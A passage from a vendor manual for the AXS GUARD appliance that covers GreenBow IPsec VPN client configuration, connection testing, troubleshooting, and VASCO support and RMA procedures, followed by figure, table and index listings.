4. Select the location where your stored the user’s X.509 Client Certificate (see Section 4.2.2.2, “About X.509 Certificates”).

5. Click once on the Certificate file. 6. Click on Open.

(41)

Figure 4.23. Importing a Client Certificate

Phase 1 Advanced Settings:

1. Click on the P1 Advanced button (see Figure 4.22, “General Phase 1 Settings”). 2. Do not enable Config Mode.

3. Do not enable Aggressive Mode (insecure). 4. Do not enter a Redundant Gateway. 5. Set NAT-T (NAT Traversal) to Automatic. 6. Enable X-Auth Popup.

7. Do not enable Hybrid Mode.

8. Select Subject from X509. Keep the suggested value for the ID.

9. Select any Remote ID, e.g. KEY ID or leave this field blank (default). Do not set a value for the ID. 10. Click on OK.

(42)

Figure 4.24. Phase 1 - Advanced Settings

Creating a new Phase 2:

1. Go to the main screen (see Figure 4.22, “General Phase 1 Settings”) and select the created Phase 1 Definition.

2. Right-click on the Phase 1 Definition. 3. Click on Add Phase 2 as shown below.

(43)

Phase 2 Configuration:

1. Enter a name for the Phase 2 Definition, e.g. Tunnel 1.

2. Enter a VPN Client IP Address, e.g. 192.168.1.110. Make sure this IP address is not used in the LAN of the AXS GUARD you are connecting to. If you are unsure about the IP address, use one in another range, e.g. 10.0.0.5.

3. Enter the Remote LAN IP address (network address) of the AXS GUARD as entered in Section 4.2.2.4, “Phase 1 Settings”, e.g. 192.168.11.0.

4. Enter the subnet mask of the AXS GUARD LAN as entered in section Section 4.2.2.4, “Phase 1 Settings”, e.g. 255.255.255.0.

5. Set the ESP encryption to AES 128. 6. Set the ESP authentication to SHA-1. 7. Set the Mode to Tunnel.

8. Enable PFS.

9. Set the DH Group to DH5. 10. Click on Save & Apply.

Figure 4.26. Phase 2 Configuration

Phase 2 Advanced Settings:

1. Click on the P2 Advanced button (see Figure 4.26, “Phase 2 Configuration”). 2. Do not check any option under Automatic Open Mode.

3. Enter the IP address of the DNS server, e.g. 192.168.11.254. This is the LAN IP address of the AXS GUARD (see tip below).

4. Do not enter a WINS Server. 5. Click on OK.

(44)

Figure 4.27. Phase 2 Advanced Settings

• To view the LAN IP address of your AXS GUARD, navigate to: Network > Devices > Eth and click on the appropriate secure device.

• You may also use the Active Directory DNS in your network, if available.

4.2.3.3. Testing your Connection

1. Start the GreenBow IPsec Client.

2. Click once on the Phase 2 Definition, e.g. Tunnel1 as shown below. 3. Click on Open Tunnel.

(45)

Figure 4.28. Starting the IPSec Tunnel

4. Enter your user credentials (i.e. user name and DIGIPASS OTP) in the authentication screen as shown below. The tunnel should start almost immediately.

Figure 4.29. Starting the IPSec Tunnel

5. Once the tunnel is up (see below), open a Windows command prompt (Navigate to Start > Run and type

cmd followed by enter).

6. Ping the LAN IP address or DNS name of the AXS GUARD, e.g. ping 192.168.11.254. 7. Test your DNS settings by pinging the internal host name of the AXS GUARD.

(46)

Figure 4.30. Tunnel Status

• If you can ping the IP address of the AXS GUARD, but not the host name, the problem is DNS-related. Verify the DNS configuration settings of your client if necessary.

• If you are using an Active Directory (AD) DNS server, make sure that the internal host name of the AXS GUARD is correctly added to its DNS repository. Consult the documentation of your AD server if necessary.

(47)

Chapter 5. Troubleshooting

I cannot start the tunnel or the tunnel does not open.

1. Check the AXS GUARD IPsec logs, as explained in the AXS GUARD IPSec How To, which is accessible by clicking on the permanently available Documentation button in the Administrator Tool.

2. Check the Windows firewall settings. Check that the Firewall it is not blocking traffic towards UDP ports 500 and 4500.

3. If a dedicated software firewall is installed on the client, e.g. ZoneAlarm, make sure it is not blocking traffic towards UDP ports 500 and 4500 and that TCP protocol 50 (ESP) is allowed. Consult your firewall Troubleshooting Documentation if necessary.

4. Check the firewall settings of your client’s gateway. The gateway should allow traffic to the following UDP ports: 500, 4500. (Some gateways refer to this as VPN Passthrough).

5. Make sure NAT traversal is enabled on the client’s gateway (VPN Passthrough).

6. Check the allowed protocols on the client’s gateway. Access should be allowed to TCP protocol 50 (ESP). 7. Check the Phase 1 (IKE) parameters. They should match the Phase 1 parameters of the AXS GUARD, e.g. the encryption Algorithm, the Hashing Algorithm, the authentication Method (X.509), etc. If you are prompted for authentication, but are unable to proceed, it is more than likely that your Phase 2 parameters contain errors.

8. Check the Phase 2 (ESP) parameters. They should match the Phase 2 parameters of the AXS GUARD, e.g. the DH Group, the encryption Algorithm, etc.

9. The local parameters on the AXS GUARD are the remote parameters of the IPsec Client and vice versa. Make sure they are properly mirrored.

10. If using DIGIPASS authentication, make sure the user has been assigned a DIGIPASS and is allowed to authenticate for IPSec, as explained in the AXS GUARD Authentication How To, which is accessible by clicking on the permanently available Documentation button in the Administrator Tool.

11. If you purchased and enabled the AXS GUARD IPS Module, check the IPS logs for blocked traffic on UDP ports 4500 and 500.

• The AXS GUARD only supports IPSec in Tunnel Mode. This is the most secure option. AH (TCP Protocol 51) is not supported.

• Some countries, Internet Sevice Providers and intermediate networks do not allow IPSec traffic. You will not be able to establish a connection if this is the case.

I can start the tunnel, but I am unable to access the remote LAN (Shrew Soft Client)

1. Make sure you entered the correct network resource in the Policy. Refer to the Shrew Soft IPsec Client’s documentation if necessary.

2. Once the network resource has been updated, start the tunnel again and verify whether you can ping the AXS GUARD LAN IP.

3. Verify the Virtual Adapter’s IP Address. Try an IP address in a different range than the AXS GUARD LAN. 4. Verify the Firewall settings on the AXS GUARD.

5. If the problem persists, consult the Shrew Soft online Documentation.

I can start the tunnel, but I am unable to access the remote LAN (GreenBowClient)

1. Verify the VPN Client Address. Try an IP address in a different range than the AXS GUARD LAN. 2. Verify the Firewall settings on the AXS GUARD.

(48)

The user cannot authenticate

1. Make sure the is no Authentication Restriction for the user (see the AXS GUARD Authentication How To, which can be accessed by clicking on the permanently available Documentation button in the Administrator Tool).

2. If DIGIPASS Authentication is enforced, test the user’s DIGIPASS (Authentication > VASCO DIGIPASS > DIGIPASS).

3. Make sure the user can log in (User login is enabled, as shown below).

Figure 5.1. User Login Enabled

The Greenbow client throws and XAUTH error while the AXS GUARD credentials are correct.

If the AXS GUARD IPSec log shows the following, but the client shows an XAUTH warning:

15:08:44 pluto[28587] XAUTH: pam authentication being called to authenticate user xyz

15:08:44 pluto[28587] XAUTH: User xyz: Authentication Successful

1. In the Greenbow menu, select Tools 2. Then "Reset IKE"

(49)

Chapter 6. Support

6.1. If you encounter a problem

If you encounter a problem with a VASCO product, follow the steps below:

1. Check the troubleshooting section of the feature-specific manual.

2. Check the knowledge base for information on known issues, i.e. http://www.vasco.com/support.

3. Check the white papers section on http://documentation.axsguard.net/manuals/Gatekeeper/8.0.0/ for information about special configurations.

4. If no solution is available in any of the above sources, contact your VASCO supplier.

For additional information about support capabilities, visit: http://www.vasco.com/support/ support_services/types_of_customes.aspx

6.2. RMA Procedures for Replacement

6.2.1. Information needed by VASCO Support

Prior to contacting VASCO Support, we kindly ask you to collect the information below. This will allow our services to save time and ensure a swift replacement of the defective unit.

• Customer’s Name / Company Name • Serial number of the defective AXS GUARD • License number of the defective AXS GUARD • Reseller’s Name

• Serial number of the spare unit • License number of the spare unit

• Return delivery address for the spare unit

6.2.2. How to request an RMA Number

If your AXS GUARD appliance has a hardware defect and you have collected all the information listed above, contact the VASCO support department either by phone or by e-mail to request an RMA number.

Once your request has been received by VASCO, it will be carefully examined by our support engineers before an RMA number is assigned. Please note that replacement requests must have a valid RMA number before they can be processed by our production facility.

• VASCO Support Phone: (+32) 2-609-9770 • VASCO Support E-mail: [email protected]

(50)

List of Figures

2.1. Road Warrior Concept ... 4

2.2. IPSec XAUTH Concept ... 5

2.3. Forwarding DHCP Requests of IPSec Clients ... 6

3.1. IPSec Feature Activation ... 7

3.2. IPsec General Settings ... 8

3.3. Creating new Tunnel Definitions ... 9

3.4. IPSec General Tunnel Settings ... 9

3.5. Phase 1 Local Settings ... 11

3.6. Phase 2 Settings ... 12

3.7. Advanced Tunnel Settings ... 14

3.8. IPSec Extended Authentication Settings ... 15

4.1. IPSec General Settings ... 17

4.2. Authentication Policy for IPSec XAUTH ... 19

4.3. DIGIPASS Assignment ... 20

4.4. Shrew Soft VPN Access Manager ... 21

4.5. Shrew Soft VPN General Tab ... 22

4.6. Shrew Soft VPN Client Tab ... 23

4.7. Shrew Soft VPN Name Resolution Tab ... 24

4.8. Shrew Soft VPN Authentication Tab ... 25

4.9. Shrew Soft VPN Phase 1 Tab ... 26

4.10. Shrew Soft VPN Phase 2 Tab ... 27

4.11. Shrew Soft VPN Policy Tab ... 27

4.12. Shrew Soft VPN Topology Entry ... 28

4.13. Connection to IPSec Endpoint ... 28

4.14. Connection to IPSec Enabled ... 29

4.15. Testing the IPSec Connection ... 29

4.16. ESP Definition with PFS ... 31

4.17. IPSec Phase 1 Settings ... 32

4.18. IPSec Phase 2 Settings ... 33

4.19. DIGIPASS Assignment ... 35

4.20. GreenBow VPN Client Configuration Screen ... 36

4.21. Creating a new Phase 1 ... 36

4.22. General Phase 1 Settings ... 37

4.23. Importing a Client Certificate ... 38

4.24. Phase 1 - Advanced Settings ... 39

4.25. Creating a new Phase 2 ... 39

4.26. Phase 2 Configuration ... 40

4.27. Phase 2 Advanced Settings ... 41

4.28. Starting the IPSec Tunnel ... 42

(51)

List of Tables

3.1. Overview of IPSec General Settings ... 8

3.2. DHCP for IPSec ... 9

3.3. General Tunnel Parameters ... 10

3.4. Phase 1 Parameters ... 11

3.5. Phase 2 Local Parameters ... 12

3.6. Phase 2 Remote Parameters ... 13

3.7. Advanced IPSec Options ... 14

(52)

A

AXS GUARD, 2

D

DHCP, 5 DHCP lease, 5 Documentation, 1

E

Encapsulating Security Payload, 31 ESP, 31

Extended authentication, 5

L

Licensed appliance, 3

P

Perfect forward secrecy, 31 PFS, 31 Phase 1, 5 Phase 2, 5 PKI, 4 Pre-shared key, 4 PSK, 4

Public Key Infrastructure, 4

R

RMA, 46 Road warrior, 4 RSA, 4

S

Spare unit, 2 Support, 46

T

Troubleshooting, 44